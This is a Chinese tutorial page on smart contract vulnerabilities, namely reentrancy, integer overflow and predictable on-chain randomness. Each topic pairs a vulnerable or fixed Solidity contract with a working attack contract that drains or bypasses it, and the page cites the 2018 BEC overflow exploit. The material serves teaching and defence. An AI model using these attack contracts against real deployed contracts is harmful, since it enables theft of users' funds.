智能合约安全漏洞与解决方案

这篇具有很好参考价值的文章主要介绍了智能合约安全漏洞与解决方案。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;

import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v3.3/contracts/math/SafeMath.sol";

/*
   智能合约安全
   在智能合约中安全问题是一个头等大事,因为智能合约不像其他语言一样可以边制作边修改,而智能合约一旦部署将无法修改

   重入攻击 如果合约中有重入攻击的漏洞,对方就可以利用该漏洞对合约进行攻击 版本0.8以下可复现
   重入攻击原理:攻击合约调用对方提现,对方提现回调本合约的回退函数,回退函数里又调用了对方提现,形成了递归调用,直到把对方账户取光,或取到指定金额,自己加判断
  
   解决方案1:在提现方法,先减掉金额再调用转账,这样攻击合约下次调用的时候,余额不足不满足条件
   解决方案2:使用重入锁方案,定义重入锁,noReentrant原理:提现方法执行完毕会修改锁的状态改为false,当攻击合约下次重入调用的时候,因为上次方法还没有执行完毕,锁状态还是true,所以无法再调用提现具体逻辑,这时候重入锁阻拦住了重入攻击,如果不确定合约逻辑是否有重入漏洞,不妨加入一个重入锁,防止函数被重入攻击,在实际生产环境最好加上重入锁
*/
contract EtherStore {
    mapping(address => uint) public balances;

    // 定义重入锁变量
    bool internal locked;
    // 定义重入锁修改器
    modifier noReentrant() {
        require(!locked, "No re-entrancy");
        locked = true;
        _;
        locked = false;
    }

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw(uint _amount) public noReentrant {
        require(balances[msg.sender] >= _amount);
        (bool sent, ) = msg.sender.call{value: _amount}("");
        require(sent, "Failed to send Ether");
        balances[msg.sender] -= _amount;
    }

    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

// 攻击合约
contract Attack {

    EtherStore public etherStore;

    constructor(address _etherStoreAddress) {
        etherStore = EtherStore(_etherStoreAddress);
    }

    // 回退函数
    fallback() external payable {
        // 为了避免死循环,加判断
        if (address(etherStore).balance >= 1 ether) {
            // 提现
            etherStore.withdraw(1 ether);
        }
    }

    function attack() external payable {
        require(msg.value >= 1 ether);
        // 存款
        etherStore.deposit{value: 1 ether}();
        // 提现
        etherStore.withdraw(1 ether);
    }

    function getBalacne() public view returns (uint) {
        return address(this).balance;
    }

    // 接收攻击获得的Eth
    //receive() external payable {}
}


/*
  整数溢出漏洞
  uint = uint256  取值范围:0 - 2**256-1  
  数字上溢:如果数字超过2**256,比如uint256最高位 +3 , 会重新会到0来一次循环,最终结果是2,数字变的非常小。
  数字下溢:如果数字低于0,比如最低位 -2,则会反向从uint256最高位处开始循环,变成2**256-2,变成了巨大的数字

  示例,定义时间锁合约
*/
contract TimeLock {
    // 使用openzepplin的安全库 uint myUint;  myUint.add(123);
    using SafeMath for uint;

    // 账本
    mapping(address => uint) public balances;
    // 提现锁定期,到期可提现
    mapping(address => uint) public lockTime;

    function deposit() external payable {
        // 记录存款,同时记录锁定时间 当前时间1个星期之后才可以解锁,不到期不能执行提现方法
        balances[msg.sender] += msg.value;
        lockTime[msg.sender] = block.timestamp + 1 weeks;
    }

    // 增加锁定时间 这个加法有可能产生数学溢出
    function increaseLockTime(uint _secondsToIncrease) public {
        //lockTime[msg.sender] += _secondsToIncrease;
        // 使用安全库,防止数学溢出 加完会验证结果是否比原来更大
        lockTime[msg.sender] = lockTime[msg.sender].add(_secondsToIncrease);
    }

    function withdraw() public {
        // 判断用户余额
        require(balances[msg.sender] >0, "Insufficient funds");
        // 当前时间要大于用户锁定的时间,比如用户锁定期为1周,当前是第二周,现在就可以执行该方法
        require(block.timestamp > lockTime[msg.sender], "Lock time not expired");
        uint amount = balances[msg.sender];
        balances[msg.sender] = 0;
        (bool sent, ) = msg.sender.call{value: amount}("");
        require(sent, "Failed to send Ether");
    }
}

// 用于验证数字溢出漏洞,该合约无其他意义
contract TimeLockAccack {
    TimeLock timeLock;

    constructor(TimeLock _timeLock) {
        timeLock = TimeLock(_timeLock);
    }

    fallback() external payable {}

    function attack() public payable {
        // 向TimeLock存款,同时该方法会记录存款到期时间,默认一周
        timeLock.deposit{value: msg.value}();

        // 调用增加存款到期时间的方法 虽然withdraw()方法有锁定期,但让锁定时间数学溢出,也可以马上执行withdraw()
        // 计算巨大的数字,让它产生数学溢出 首先获取当前用户的锁定时间
        // 计算公式 t = 当前锁定时间,要找到x是多少,要满足的条件是: x + t = 2**256 = 0
        // x = -t  调用这个方法,实际会把取款时间改为0
        timeLock.increaseLockTime(
            uint(-timeLock.lockTime(address(this)))
        );
        // 提现
        timeLock.withdraw();
    }
}

使用OpenZeppelin安全库,防止了数字溢出漏洞攻击,报出了SafeMath错误:

不安全写法:lockTime[msg.sender] += _secondsToIncrease;

安全写法:    lockTime[msg.sender] = lockTime[msg.sender].add(_secondsToIncrease);

智能合约安全解决案例分析,智能合约,区块链

整数溢出真实案例:

2018年4月22日,黑客利用以太坊ERC-20智能合约中数据溢出的漏洞攻击蔡文胜旗下美图合作的公司美链 BEC 的智能合约,成功地向两个地址转入了巨量BEC代币,导致市场上海量BEC被抛售。

BEC合约代码:计算批量转账总金额没有使用SafeMath,转账金额输入2的255次方值,会发生整数上溢出漏洞,导致amount变成了0,代码向下执行,直接把币全都转走了。写代码的人减法运算和加法运算分别使用了SafeMath的sub和add,唯独乘法运算没用。

智能合约安全解决案例分析,智能合约,区块链

随机数攻击,就是针对智能合约的随机数生成算法进行攻击,预测生成结果。目前区块链上很多合约都是采用的链上信息,如区块时间戳、未来区块哈希等作为游戏合约的随机数源,使用这种随机数被称为伪随机数,它不是真的随机数,存在被预测的可能。一旦生成算法被攻击者猜到,或通过逆向方式拿到,攻击者就可以实现预测,达到攻击目的
解决方案:使用安全的随机数源,第三方api或预言机获取随机数文章来源地址https://www.toymoban.com/news/detail-768840.html

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
  随机数攻击示例,玩家抽奖,抽中获取奖励,代码主要演示随机数漏洞部分,攻击者合约利用对方随机数生成部分,也用相同的方式生成随机数实现预测中奖
  生产真实案例,如EOS伪随机数漏洞
*/
contract Random {
    // 生产随机数确定是否中奖,如果中奖则转账给中奖者
    function guess() public payable {
        // 获取随机数,确定是否中奖
        bool result = _getRandom();
        if(result){
            // 中奖,获得1个eth奖励
            bool ok = payable(msg.sender).send(1 ether);
            if(!ok){

            }
        }
    }
    // 获取随机数函数,并确定是否中奖
    function _getRandom() private view returns(bool){
        uint256 random = uint256(keccak256(abi.encodePacked(block.difficulty,block.timestamp)));
        if(random%2==0){
            return false;
        }
        return true;
    }
    // 查看奖池余额
    function getBalance() external view returns(uint256){
        return address(this).balance;
    }
    // 设置部署时转入ETH
    constructor() payable{}
    // 允许接收ETH
    receive() external payable{}
}

// 攻击者合约
contract Attack {
    event Log(string);

    function attack(address _random) external payable {
        for(;;){
            // 1. 判断攻击目标合约的余额,如果小于1个ether,表示取光,就返回
            if(payable(_random).balance < 1){
                emit Log("succes getting eth");
                return;
            }
            // 2. 计算由当前区块的难度值和时间戳产生的哈希值,用作随机数
            // 如果随机数是偶数,表示本区块不会中奖,先返回,等待下一个区块
            if(uint256(keccak256(abi.encodePacked(block.difficulty,block.timestamp))) %2 ==0){
                emit Log("failed to get rand,wait 10 seconds");
                return;
            }
            emit Log("start accack!!!");
            // 3. 如果随机数是奇数,表示已经中奖,那么立刻调用攻击目标的guess函数,获取奖励
            (bool ok,) = _random.call(abi.encodeWithSignature("guess()"));
            if(!ok){
                emit Log("failed to call guess()");
                return;
            }
        }
    }

    // 查看余额
    function getBalance() external view returns(uint256){
        return address(this).balance;
    }

    // 接收攻击获得的Eth
    receive() external payable {}
}

到了这里,关于智能合约安全漏洞与解决方案的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Web系统常见安全漏洞介绍及解决方案-CSRF攻击

    🐳博客主页:拒绝冗余 – 生命不息,折腾不止 🌐订阅专栏:『Web安全』 📰如觉得博主文章写的不错或对你有所帮助的话,还望大家多多支持呀! 👉关注✨、点赞👍、收藏📂、评论。 CSRF跨站请求伪造,全称Cross-site request forgery,是指利用受害者尚未失效的身份认证信息

    2024年01月22日
    浏览(37)
  • 信息服务上线渗透检测网络安全检查报告和解决方案4(网站风险等级评定标准、漏洞危害分级标准、漏洞安全建议)

    信息服务上线渗透检测网络安全检查报告和解决方案3(系统漏洞扫描、相对路径覆盖RPO漏洞、nginx漏洞修复) 信息服务上线渗透检测网络安全检查报告和解决方案2(安装文件信息泄漏、管理路径泄漏、XSS漏洞、弱口令、逻辑漏洞、终极上传漏洞升级) 信息服务上线渗透检测网络安

    2024年02月12日
    浏览(39)
  • Spring Cloud Gateway集成Actuator的安全漏洞和解决方案

    Spring Cloud Gateway是一个基于Spring Boot2.0和Spring WebFlux的API网关,它可以将请求转发到多个微服务并对请求进行路由、过滤和修改。Spring Cloud Gateway集成Actuator后可以提供更多的监控和管理功能,但是也可能导致安全漏洞。 最近线上环境出现一起安全事件,就是由于Spring Cloud Gat

    2024年02月09日
    浏览(41)
  • 【论文阅读】 智能合约安全漏洞检测技术研究综述

    2016 年 6 月,黑客利用 DAO(decentralized autonomous organization)合约的 可重入漏洞 , 窃取了价值约 6000 万美元的以太币(即以太坊数字货币); 2017 年 7 月, 由于 Parity 多签名钱包合约的 Delegatecall 漏洞 (parity multi-sig wallet delegatecall), 价值近 3 亿美元的以太币被冻结; 2018 年 4 月, 恶意攻击者

    2024年03月14日
    浏览(50)
  • 智能合约安全,著名的区块链漏洞:双花攻击

    区块链技术通过提供去中心化和透明的系统彻底改变了各个行业。 但是,与任何技术一样,它也不能免受漏洞的影响。一个值得注意的漏洞是双花攻击。 在本文中,我们将深入研究双花攻击的复杂性,探讨其工作原理、开发方法、预防措施及其对区块链生态系统的影响。 区

    2024年02月04日
    浏览(37)
  • 智能合约安全分析,Vyper 重入锁漏洞全路径分析

    7 月 30 日 21:10 至 7 月 31 日 06:00 链上发生大规模攻击事件,导致多个 Curve 池的资金损失。漏洞的根源都是由于特定版本的 Vyper 中出现的重入锁故障。 通过对链上交易数据初步分析,我们对其攻击的交易进行整理归纳,并对攻击流程进一步的分析,由于攻击涉及多个交易池。

    2024年02月09日
    浏览(41)
  • 欢迎来到Web3.0的世界:Solidity智能合约安全漏洞分析

    智能合约是运行在区块链网络中的一段程序,经由多方机构自动执行预先设定的逻辑,程序执行后,网络上的最终状态将不可改变。智能合约本质上是传统合约的数字版本,由去中心化的计算机网络执行,而不是由政府或银行等中央集权机构执行。智能合约程序可以用Solidi

    2024年02月03日
    浏览(37)
  • 区块链技术与应用 【全国职业院校技能大赛国赛题目解析】第一套智能合约安全漏洞测试(0基础版)

    第一套题的智能合约安全漏洞测试题目 漏洞合约代码 总结: EtherStore合约 是一个简单的储蓄合约,用户可以存入和提取以太币。 Attack合约 是针对 EtherStore 合约设计的,它包含了一个构造函数来引用目标 EtherStore 合约 ,并提供了一个 attack 函数 ,试图通过先存入再立即提取

    2024年04月11日
    浏览(46)
  • Solidity 合约安全,常见漏洞 (下篇)

    Solidity 合约安全,常见漏洞 (上篇) 目前不可能用区块链上的单一交易安全地产生随机数。区块链需要是完全确定的,否则分布式节点将无法达成关于状态的共识。因为它们是完全确定的,所以任何 \\\"随机\\\"的数字都可以被预测到。下面的掷骰子函数可以被利用。 如何来产生

    2024年02月11日
    浏览(40)
  • Solidity 合约安全,常见漏洞(第三篇)

    如果你只处理受信任的 ERC20 代币,这些问题大多不适用。然而,当与任意的或部分不受信任的 ERC20 代币交互时,就有一些需要注意的地方。 ERC20:转账扣费 当与不信任的代币打交道时,你不应该认为你的余额一定会增加那么多。一个 ERC20 代币有可能这样实现它的转账函数,

    2024年02月09日
    浏览(32)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包